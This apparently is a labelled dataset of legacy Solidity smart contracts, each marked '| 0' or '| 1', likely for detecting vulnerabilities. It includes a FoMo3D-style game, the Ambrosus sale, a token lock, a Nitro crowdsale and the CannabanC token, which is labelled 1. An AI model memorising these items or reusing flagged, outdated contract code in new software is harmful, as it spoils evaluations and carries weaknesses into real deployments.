_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 |
pragma solidity ^0.4.15;
contract Token {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Owned {
event NewOwner(address indexed old, address indexed current);
modifier only_owner {
require (msg.sender == owner);
_;
}
address public owner = msg.sender;
function setOwner(address _new) only_owner {
NewOwner(owner, _new);
owner = _new;
}
}
contract Certifier {
function certified(address _who) constant returns (bool);
}
contract AmberToken is Token, Owned {
struct Account {
uint balance;
mapping (address => uint) allowanceOf;
uint tokensPerPhase;
uint nextPhase;
}
event Minted(address indexed who, uint value);
event MintedLocked(address indexed who, uint value);
function AmberToken() {}
function mint(address _who, uint _value)
only_owner
public
{
accounts[_who].balance += _value;
totalSupply += _value;
Minted(_who, _value);
}
function mintLocked(address _who, uint _value)
only_owner
public
{
accounts[_who].tokensPerPhase += _value / UNLOCK_PHASES;
totalSupply += _value;
MintedLocked(_who, _value);
}
function finalise()
only_owner
public
{
locked = false;
owner = 0;
phaseStart = now;
}
function currentPhase()
public
constant
returns (uint)
{
require (phaseStart > 0);
uint p = (now - phaseStart) / PHASE_DURATION;
return p > UNLOCK_PHASES ? UNLOCK_PHASES : p;
}
function unlockTokens(address _who)
public
{
uint phase = currentPhase();
uint tokens = accounts[_who].tokensPerPhase;
uint nextPhase = accounts[_who].nextPhase;
if (tokens > 0 && phase > nextPhase) {
accounts[_who].balance += tokens * (phase - nextPhase);
accounts[_who].nextPhase = phase;
}
}
function transfer(address _to, uint256 _value)
when_owns(msg.sender, _value)
when_liquid
returns (bool)
{
Transfer(msg.sender, _to, _value);
accounts[msg.sender].balance -= _value;
accounts[_to].balance += _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
when_owns(_from, _value)
when_has_allowance(_from, msg.sender, _value)
when_liquid
returns (bool)
{
Transfer(_from, _to, _value);
accounts[_from].allowanceOf[msg.sender] -= _value;
accounts[_from].balance -= _value;
accounts[_to].balance += _value;
return true;
}
function approve(address _spender, uint256 _value)
when_liquid
returns (bool)
{
require (_value == 0 || accounts[msg.sender].allowanceOf[_spender] == 0);
Approval(msg.sender, _spender, _value);
accounts[msg.sender].allowanceOf[_spender] = _value;
return true;
}
function balanceOf(address _who) constant returns (uint256) {
return accounts[_who].balance;
}
function allowance(address _owner, address _spender)
constant
returns (uint256)
{
return accounts[_owner].allowanceOf[_spender];
}
modifier when_owns(address _owner, uint _amount) {
require (accounts[_owner].balance >= _amount);
_;
}
modifier when_has_allowance(address _owner, address _spender, uint _amount) {
require (accounts[_owner].allowanceOf[_spender] >= _amount);
_;
}
modifier when_liquid {
require (!locked);
_;
}
string constant public name = "Amber Token";
uint8 constant public decimals = 18;
string constant public symbol = "AMB";
bool public locked = true;
uint public phaseStart = 0;
uint public constant PHASE_DURATION = 180 days;
uint public constant UNLOCK_PHASES = 4;
uint public totalSupply;
mapping (address => Account) accounts;
}
contract AmbrosusSale {
function AmbrosusSale() {
tokens = new AmberToken();
}
modifier only_admin { require (msg.sender == ADMINISTRATOR); _; }
modifier only_prepurchaser { require (msg.sender == PREPURCHASER); _; }
modifier is_valid_buyin { require (tx.gasprice <= MAX_BUYIN_GAS_PRICE && msg.value >= MIN_BUYIN_VALUE); _; }
modifier is_under_cap_with(uint buyin) { require (buyin + saleRevenue <= MAX_REVENUE); _; }
modifier only_certified(address who) { require (CERTIFIER.certified(who)); _; }
modifier only_before_period { require (now < BEGIN_TIME); _; }
modifier only_during_period { require (now >= BEGIN_TIME && now < END_TIME && !isPaused); _; }
modifier only_during_paused_period { require (now >= BEGIN_TIME && now < END_TIME && isPaused); _; }
modifier only_after_sale { require (now >= END_TIME || saleRevenue >= MAX_REVENUE); _; }
modifier when_allocations_uninitialised { require (!allocationsInitialised); _; }
modifier when_allocatable_liquid(uint amount) { require (liquidAllocatable >= amount); _; }
modifier when_allocatable_locked(uint amount) { require (lockedAllocatable >= amount); _; }
modifier when_allocations_complete { require (allocationsInitialised && liquidAllocatable == 0 && lockedAllocatable == 0); _; }
event Prepurchased(address indexed recipient, uint etherPaid, uint amberSold);
event Purchased(address indexed recipient, uint amount);
event SpecialPurchased(address indexed recipient, uint etherPaid, uint amberSold);
event Paused();
event Unpaused();
event Allocated(address indexed recipient, uint amount, bool liquid);
function notePrepurchase(address _who, uint _etherPaid, uint _amberSold)
only_prepurchaser
only_before_period
public
{
tokens.mint(_who, _amberSold);
saleRevenue += _etherPaid;
totalSold += _amberSold;
Prepurchased(_who, _etherPaid, _amberSold);
}
function specialPurchase()
only_before_period
is_under_cap_with(msg.value)
payable
public
{
uint256 bought = buyinReturn(msg.sender) * msg.value;
require (bought > 0);
tokens.mint(msg.sender, bought);
TREASURY.transfer(msg.value);
saleRevenue += msg.value;
totalSold += bought;
SpecialPurchased(msg.sender, msg.value, bought);
}
function ()
only_certified(msg.sender)
payable
public
{
processPurchase(msg.sender);
}
function purchaseTo(address _recipient)
only_certified(msg.sender)
payable
public
{
processPurchase(_recipient);
}
function processPurchase(address _recipient)
only_during_period
is_valid_buyin
is_under_cap_with(msg.value)
private
{
tokens.mint(_recipient, msg.value * STANDARD_BUYIN);
TREASURY.transfer(msg.value);
saleRevenue += msg.value;
totalSold += msg.value * STANDARD_BUYIN;
Purchased(_recipient, msg.value);
}
function buyinReturn(address _who)
constant
public
returns (uint)
{
if (
_who == CHINESE_EXCHANGE_1 || _who == CHINESE_EXCHANGE_2 ||
_who == CHINESE_EXCHANGE_3 || _who == CHINESE_EXCHANGE_4
)
return CHINESE_EXCHANGE_BUYIN;
if (_who == BTC_SUISSE_TIER_1)
return STANDARD_BUYIN;
if (_who == BTC_SUISSE_TIER_2)
return TIER_2_BUYIN;
if (_who == BTC_SUISSE_TIER_3)
return TIER_3_BUYIN;
if (_who == BTC_SUISSE_TIER_4)
return TIER_4_BUYIN;
return 0;
}
function pause()
only_admin
only_during_period
public
{
isPaused = true;
Paused();
}
function unpause()
only_admin
only_during_paused_period
public
{
isPaused = false;
Unpaused();
}
function initialiseAllocations()
public
only_after_sale
when_allocations_uninitialised
{
allocationsInitialised = true;
liquidAllocatable = LIQUID_ALLOCATION_PPM * totalSold / SALES_ALLOCATION_PPM;
lockedAllocatable = LOCKED_ALLOCATION_PPM * totalSold / SALES_ALLOCATION_PPM;
}
function allocateLiquid(address _who, uint _value)
only_admin
when_allocatable_liquid(_value)
public
{
tokens.mint(_who, _value);
liquidAllocatable -= _value;
Allocated(_who, _value, true);
}
function allocateLocked(address _who, uint _value)
only_admin
when_allocatable_locked(_value)
public
{
tokens.mintLocked(_who, _value);
lockedAllocatable -= _value;
Allocated(_who, _value, false);
}
function finalise()
when_allocations_complete
public
{
tokens.finalise();
}
uint public constant MIN_BUYIN_VALUE = 1;
uint public constant MAX_BUYIN_GAS_PRICE = 25000000000;
uint public constant MAX_REVENUE = 328103 ether;
uint constant public SALES_ALLOCATION_PPM = 400000;
uint constant public LOCKED_ALLOCATION_PPM = 337000;
uint constant public LIQUID_ALLOCATION_PPM = 263000;
Certifier public constant CERTIFIER = Certifier(0x7b1Ab331546F021A40bd4D09fFb802261CaACcc9);
address public constant ADMINISTRATOR = 0x11bF17B890a80080A8F9C1673D2951296a6F3D91;
address public constant PREPURCHASER = 0x00C269e9D02188E39C9922386De631c6AED5b4d4;
address public constant TREASURY = 0xB47aD434C6e401473F1d3442001Ac69cda1dcFDd;
uint public constant BEGIN_TIME = 1505986211;
uint public constant DURATION = 30 days;
uint public constant END_TIME = BEGIN_TIME + DURATION;
address public constant BTC_SUISSE_TIER_1 = 0x53B3D4f98fcb6f0920096fe1cCCa0E4327Da7a1D;
address public constant BTC_SUISSE_TIER_2 = 0x642fDd12b1Dd27b9E19758F0AefC072dae7Ab996;
address public constant BTC_SUISSE_TIER_3 = 0x64175446A1e3459c3E9D650ec26420BA90060d28;
address public constant BTC_SUISSE_TIER_4 = 0xB17C2f9a057a2640309e41358a22Cf00f8B51626;
address public constant CHINESE_EXCHANGE_1 = 0x36f548fAB37Fcd39cA8725B8fA214fcd784FE0A3;
address public constant CHINESE_EXCHANGE_2 = 0x877Da872D223AB3D073Ab6f9B4bb27540E387C5F;
address public constant CHINESE_EXCHANGE_3 = 0xCcC088ec38A4dbc15Ba269A176883F6ba302eD8d;
address public constant CHINESE_EXCHANGE_4 = 0;
uint public constant STANDARD_BUYIN = 1000;
uint public constant TIER_2_BUYIN = 1111;
uint public constant TIER_3_BUYIN = 1250;
uint public constant TIER_4_BUYIN = 1429;
uint public constant CHINESE_EXCHANGE_BUYIN = 1087;
bool public allocationsInitialised = false;
uint public liquidAllocatable;
uint public lockedAllocatable;
uint public saleRevenue = 0;
uint public totalSold = 0;
AmberToken public tokens;
bool public isPaused = false;
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30240000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x5f726D1fAf31AE2817cFE48597Bf32Dd7f5b6A41;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner = msg.sender;
address private newOwner = address(0);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender != address(0));
require(msg.sender == newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20Token is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] +=_value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] += _value;
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract NitroToken is ERC20Token, Ownable {
string public constant name = "Nitro";
string public constant symbol = "NOX";
uint8 public constant decimals = 18;
function NitroToken(uint256 _totalSupply) public {
totalSupply = _totalSupply;
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function acceptOwnership() public {
address oldOwner = owner;
super.acceptOwnership();
balances[owner] = balances[oldOwner];
balances[oldOwner] = 0;
Transfer(oldOwner, owner, balances[owner]);
}
}
contract Declaration {
enum TokenTypes { crowdsale, interactive, icandy, consultant, team, reserve }
mapping(uint => uint256) public balances;
uint256 public preSaleStart = 1511020800;
uint256 public preSaleEnd = 1511452800;
uint256 public saleStart = 1512057600;
uint256 public saleStartFirstDayEnd = saleStart + 1 days;
uint256 public saleStartSecondDayEnd = saleStart + 3 days;
uint256 public saleEnd = 1514304000;
uint256 public teamFrozenTokens = 4800000 * 1 ether;
uint256 public teamUnfreezeDate = saleEnd + 182 days;
uint256 public presaleMinValue = 5 ether;
uint256 public preSaleRate = 1040;
uint256 public saleRate = 800;
uint256 public saleRateFirstDay = 1000;
uint256 public saleRateSecondDay = 920;
NitroToken public token;
function Declaration() public {
balances[uint8(TokenTypes.crowdsale)] = 60000000 * 1 ether;
balances[uint8(TokenTypes.interactive)] = 6000000 * 1 ether;
balances[uint8(TokenTypes.icandy)] = 3000000 * 1 ether;
balances[uint8(TokenTypes.consultant)] = 1200000 * 1 ether;
balances[uint8(TokenTypes.team)] = 7200000 * 1 ether;
balances[uint8(TokenTypes.reserve)] = 42600000 * 1 ether;
token = new NitroToken(120000000 * 1 ether);
}
modifier withinPeriod(){
require(isPresale() || isSale());
_;
}
function isPresale() public constant returns (bool){
return now>=preSaleStart && now<=preSaleEnd;
}
function isSale() public constant returns (bool){
return now >= saleStart && now <= saleEnd;
}
function rate() public constant returns (uint256) {
if (isPresale()) {
return preSaleRate;
} else if (now>=saleStart && now<=(saleStartFirstDayEnd)){
return saleRateFirstDay;
} else if (now>(saleStartFirstDayEnd) && now<=(saleStartSecondDayEnd)){
return saleRateSecondDay;
}
return saleRate;
}
}
contract Crowdsale is Declaration, Ownable{
using SafeMath for uint256;
address public wallet;
uint256 public weiLimit = 6 ether;
uint256 public satLimit = 30000000;
mapping(address => bool) users;
mapping(address => uint256) weiOwed;
mapping(address => uint256) satOwed;
mapping(address => uint256) weiTokensOwed;
mapping(address => uint256) satTokensOwed;
uint256 public weiRaised;
uint256 public satRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(address _wallet) Declaration public {
wallet = _wallet;
}
function () public payable {
buy();
}
function weiFreeze(address _addr, uint256 _value) internal {
uint256 amount = _value * rate();
balances[0] = balances[0].sub(amount);
weiOwed[_addr] += _value;
weiTokensOwed[_addr] += amount;
}
function weiTransfer(address _addr, uint256 _value) internal {
uint256 amount = _value * rate();
balances[0] = balances[0].sub(amount);
token.transfer(_addr, amount);
weiRaised += _value;
TokenPurchase(_addr, _addr, _value, amount);
}
function buy() withinPeriod public payable returns (bool){
if (isPresale()) {
require(msg.value >= presaleMinValue);
}else{
require(msg.value > 0);
}
if (weiOwed[msg.sender]>0) {
weiFreeze(msg.sender, msg.value);
} else if (msg.value>weiLimit && !users[msg.sender]) {
weiFreeze(msg.sender, msg.value.sub(weiLimit));
weiTransfer(msg.sender, weiLimit);
} else {
weiTransfer(msg.sender, msg.value);
}
return true;
}
function _verify(address _addr) onlyOwner internal {
users[_addr] = true;
weiRaised += weiOwed[_addr];
satRaised += satOwed[_addr];
token.transfer(_addr, weiTokensOwed[_addr] + satTokensOwed[_addr]);
TokenPurchase(_addr, _addr, 0, weiTokensOwed[_addr] + satTokensOwed[_addr]);
weiOwed[_addr]=0;
satOwed[_addr]=0;
weiTokensOwed[_addr]=0;
satTokensOwed[_addr]=0;
}
function verify(address _addr) public returns(bool){
_verify(_addr);
return true;
}
function isVerified(address _addr) public constant returns(bool){
return users[_addr];
}
function getWeiTokensOwed(address _addr) public constant returns (uint256){
return weiTokensOwed[_addr];
}
function getSatTokensOwed(address _addr) public constant returns (uint256){
return satTokensOwed[_addr];
}
function owedTokens(address _addr) public constant returns (uint256){
return weiTokensOwed[_addr] + satTokensOwed[_addr];
}
function getSatOwed(address _addr) public constant returns (uint256){
return satOwed[_addr];
}
function getWeiOwed(address _addr) public constant returns (uint256){
return weiOwed[_addr];
}
function satFreeze(address _addr, uint256 _wei, uint _sat) private {
uint256 amount = _wei * rate();
balances[0] = balances[0].sub(amount);
satOwed[_addr] += _sat;
satTokensOwed[_addr] += amount;
}
function satTransfer(address _addr, uint256 _wei, uint _sat) private {
uint256 amount = _wei * rate();
balances[0] = balances[0].sub(amount);
token.transfer(_addr, amount);
TokenPurchase(_addr, _addr, _wei, amount);
satRaised += _sat;
}
function buyForBtc(
address _addr,
uint256 _sat,
uint256 _satOwed,
uint256 _wei,
uint256 _weiOwed
) onlyOwner withinPeriod public {
require(_addr != address(0));
satFreeze(_addr, _weiOwed, _satOwed);
satTransfer(_addr, _wei, _sat);
}
function refundWei(address _addr, uint256 _amount) onlyOwner public returns (bool){
_addr.transfer(_amount);
balances[0] += weiTokensOwed[_addr];
weiTokensOwed[_addr] = 0;
weiOwed[_addr] = 0;
return true;
}
function refundedSat(address _addr) onlyOwner public returns (bool){
balances[0] += satTokensOwed[_addr];
satTokensOwed[_addr] = 0;
satOwed[_addr] = 0;
return true;
}
function sendOtherTokens(
uint8 _index,
address _addr,
uint256 _amount
) onlyOwner public {
require(_addr!=address(0));
if (_index==uint8(TokenTypes.team) && now<teamUnfreezeDate) {
uint256 limit = balances[uint8(TokenTypes.team)].sub(teamFrozenTokens);
require(_amount<=limit);
}
token.transfer(_addr, _amount);
balances[_index] = balances[_index].sub(_amount);
TokenPurchase(owner, _addr, 0, _amount);
}
function rsrvToSale(uint256 _amount) onlyOwner public {
balances[uint8(TokenTypes.reserve)] = balances[uint8(TokenTypes.reserve)].sub(_amount);
balances[0] += _amount;
}
function forwardFunds(uint256 amount) onlyOwner public {
wallet.transfer(amount);
}
function setTokenOwner(address _addr) onlyOwner public {
token.transferOwnership(_addr);
}
} | 0 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract CannabanC is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function CannabanC() public {
symbol = "CBC";
name = "CannabanC";
decimals = 18;
_totalSupply = 400000000000000000000000000;
balances[0xcefa641734fd5d409fbe973a89e333d3b2a6f660] = _totalSupply;
emit Transfer(address(0), 0xcefa641734fd5d409fbe973a89e333d3b2a6f660, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.24;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
